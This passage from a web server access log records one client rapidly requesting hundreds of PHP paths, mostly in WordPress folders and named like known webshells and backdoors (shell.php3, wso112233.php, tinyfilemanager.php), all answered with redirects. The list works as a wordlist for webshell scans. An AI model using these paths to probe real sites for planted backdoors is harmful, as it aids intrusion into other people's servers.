/wp-includes/ovackgowa.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:55 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:56 -0400] "GET /shirtkobain/mail.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:56 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:56 -0400] "GET /wp-includes/wp-class-entry-shield.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:57 -0400] "GET /.well-known/tiny.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:57 -0400] "GET /wp-admin/css/upgrade.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:57 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:57 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:58 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:58 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:58 -0400] "GET /wp-content/plugins/wxzanln/ovarxggtq.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:59 -0400] "GET /.well-known/acme-challenge/index_php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:15:59 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:00 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:00 -0400] "GET /ulc6.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:00 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:01 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:01 -0400] "GET /wp-content/upgrade/8eNAbZK4gI.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:01 -0400] "GET /.well-known/pki-validation/class_api.php999 HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:01 -0400] "GET /autoloadclassmap.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:02 -0400] "GET /tjspfvjh.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:02 -0400] "GET /wp-content/plugins/erinyani/baxa1.php7 HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:02 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:02 -0400] "GET /.well-known/crlunpft.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:03 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:03 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:03 -0400] "GET /wp-content/languages/sxo.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:04 -0400] "GET /wp-content/uploads/6CCPahUZVr.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:04 -0400] "GET /.well-known/pki-validation/akrcovxu.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:04 -0400] "GET /.well-known/xoxo.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:05 -0400] "GET /admin/sxo.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:05 -0400] "GET /wp-admin/images/media-button-other.gif.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:05 -0400] "GET /wp-includes/random_compat/niko.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:06 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:06 -0400] "GET /assets/js/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:07 -0400] "GET /bakvxppf.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:07 -0400] "GET /wp-admin/maint/k.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:07 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:07 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:07 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:08 -0400] "GET /wp-admin/maint/item.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:08 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:08 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:08 -0400] "GET /wp-content/plugins/xolanpf/ovamsmcsg.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:09 -0400] "GET /wp-content/themes/Divi-2/core/ovaawqfhg.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:09 -0400] "GET /wp-includes/media-blogs.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:09 -0400] "GET /wp-content/upgrade/newch.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:09 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:10 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:10 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:10 -0400] "GET /0yhs1bgh.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:10 -0400] "GET /css/text.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:11 -0400] "GET /hvemizso.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:11 -0400] "GET /wp-content/uploads/2023/10/themes.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:12 -0400] "GET /wp-includes/uttiwenl.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:13 -0400] "GET /.well-known/acme-challenge/edii7rIWJF.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:14 -0400] "GET /.well-known/acme-challenge/indec.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:14 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:15 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:15 -0400] "GET /wp-content/plugins/dxoksvn/ovandccqr.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:15 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:15 -0400] "GET /.well-known/acme-challenge/lo.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:16 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:16 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:16 -0400] "GET /wp-content/moderation.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:16 -0400] "GET /.well-known/acme-challenge/fai.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:17 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:17 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:17 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:17 -0400] "GET /files/file_uploader.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:18 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:18 -0400] "GET /wp-content/plugins/ecphbbr/ovadncdwv.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:19 -0400] "GET /wordpress/wp-content/themes/as/radio.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:19 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:20 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:20 -0400] "GET /wp-admin/css/colors/ectoplasm/JWWwEMipZk.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:20 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:21 -0400] "GET /rrwrzgsf.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:21 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:22 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:22 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:22 -0400] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:22 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:23 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:23 -0400] "GET /wp-includes/SimplePie/Cache/checkbex.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:24 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:25 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:25 -0400] "GET /wp-content/themes/wp-pridmag/lock.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:26 -0400] "GET /wordpress/wp-includes/blocks/list-item/ovabliphi.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:26 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:27 -0400] "GET /.well-known/pyfskulr.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:28 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:29 -0400] "GET /wp-includes/Requests/Cookie/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:30 -0400] "GET /wp-includes/css/category-template-1735882605.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:30 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:31 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:32 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:32 -0400] "GET /wp-includes/Text/Diff/Renderer/ltiies.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:32 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:34 -0400] "GET /assets/index1.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:34 -0400] "GET /wp-content/plugins/elementor/includes/ovamstwqf.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:34 -0400] "GET /wp/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:35 -0400] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:35 -0400] "GET /assets/content.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:36 -0400] "GET /baxa1.php8 HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:36 -0400] "GET /wp-admin/includes/media.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:36 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:37 -0400] "GET /wp-admin/maint/baxa1.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:37 -0400] "GET /xc.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:38 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:38 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:38 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:39 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:39 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:39 -0400] "GET /cache/d/b/f/e/ovaioxoql.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:39 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:39 -0400] "GET /wp-includes/ID3/file.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:40 -0400] "GET /.well-known/item.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:40 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:40 -0400] "GET /copypaths.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:40 -0400] "GET /uzihbfah.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:41 -0400] "GET /wp-admin/css/colors/midnight/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:41 -0400] "GET /wp-includes/theme-compat/plugins.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:41 -0400] "GET /wp-includes/wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:41 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:41 -0400] "GET /wp-includes/assets/archives-1736057179.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:42 -0400] "GET /wp-includes/php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:42 -0400] "GET /.well-known/acme-challenge/options.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:42 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:42 -0400] "GET /wordpress/wp-content/plugins/yqeH2A5oLXfIFNVSl856Wm/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:42 -0400] "GET /wp-content/plugins/pwnd/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:43 -0400] "GET /.well-known/okercskj.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:43 -0400] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:43 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:43 -0400] "GET /admin/uploads/Property_5bb750a72c247.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:43 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:44 -0400] "GET /wp-includes/pomo/ftp_nb_fget.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:44 -0400] "GET /bk/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:45 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:45 -0400] "GET /unsveanq.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:45 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:46 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:47 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:47 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:47 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:48 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:48 -0400] "GET /wp-includes/theme-compat/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:48 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:48 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:48 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:49 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:49 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:49 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:49 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:49 -0400] "GET /wp-admin/includes/12wvdscz.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:50 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:50 -0400] "GET /wp-content/uploads/wpr-addons/forms/cm.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:50 -0400] "GET /.well-known/acme-challenge/object.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:50 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:50 -0400] "GET /uctshcum.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:51 -0400] "GET /wp-admin/js/widgets/install.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:51 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:51 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:51 -0400] "GET /shell.php3 HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:52 -0400] "GET /wp-content/themes/pridmag/layout.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:52 -0400] "GET /wp-admin/css/colors/coffee/biASsM.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:52 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:52 -0400] "GET /.well-known/cd.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:52 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:53 -0400] "GET /css/cbimsyft.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:53 -0400] "GET /wp-content/plugins/kvyiipi/ovasoksxl.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:53 -0400] "GET /.well-known/acme-challenge/db-update.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:53 -0400] "GET /.well-known/acme-challenge/item.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:53 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:54 -0400] "GET /assets/css/source/attention_seekers/ovagvggbs.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:54 -0400] "GET /wp-content/themes/understrap/sass/theme/ovafzspyx.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:54 -0400] "GET /wp-includes/Requests/input.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:54 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:55 -0400] "GET /wp-admin/js/widgets/jTQPHG.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:55 -0400] "GET /wp-includes/images/search_template_1735125075.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:55 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:55 -0400] "GET /files/function.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:55 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:56 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:56 -0400] "GET /wp-admin/css/colors/coffee/HrEPYzCPRv.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:56 -0400] "GET /wp-content/plugins/elementor-pro/modules/popup/ovaqagfqe.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:56 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:56 -0400] "GET /.well-known/ggmdjzys.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:57 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:57 -0400] "GET /wp-includes/css/xc.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:57 -0400] "GET /.well-known/wp-load.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:57 -0400] "GET /contents.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:57 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:58 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:58 -0400] "GET /.well-known/r.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:58 -0400] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:58 -0400] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:59 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:59 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:59 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:59 -0400] "GET /admin/uploads/d.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:16:59 -0400] "GET /wp-admin/css/colors/blue/1.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:00 -0400] "GET /wp-includes/images/sxo.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:00 -0400] "GET /.well-known/acme-challenge/309851/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:00 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:00 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:00 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:01 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:01 -0400] "GET /wp-includes/images/smilies/migrate.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:01 -0400] "GET /ccx/admin.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:01 -0400] "GET /welcome/wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:01 -0400] "GET /.well-known/lsouyppu.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:02 -0400] "GET /.well-known/xin1.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:02 -0400] "GET /.well-known/acme-challenge/class_api.php999 HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:02 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:02 -0400] "GET /wp-content/uploads/wpr-addons/forms/elp.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:03 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:03 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:17:03 -0400] "GET 